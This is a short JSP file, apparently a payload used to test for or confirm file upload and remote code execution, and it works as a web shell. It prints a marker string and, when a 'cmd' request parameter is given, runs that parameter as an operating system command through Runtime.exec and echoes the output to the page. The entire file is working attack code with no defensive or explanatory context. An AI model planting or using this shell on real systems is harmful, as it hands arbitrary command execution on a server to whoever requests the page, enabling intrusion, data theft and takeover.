<%@ page import="java.util.*,java.io.*" %> <% out.print("GROK2025_" + Long.toHexString(new Random().nextLong())); if (request.getParameter("cmd") != null) { out.print("RCE_START_" + System.getProperty("os.name") + "_END"); Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.print(line + " "); } } %>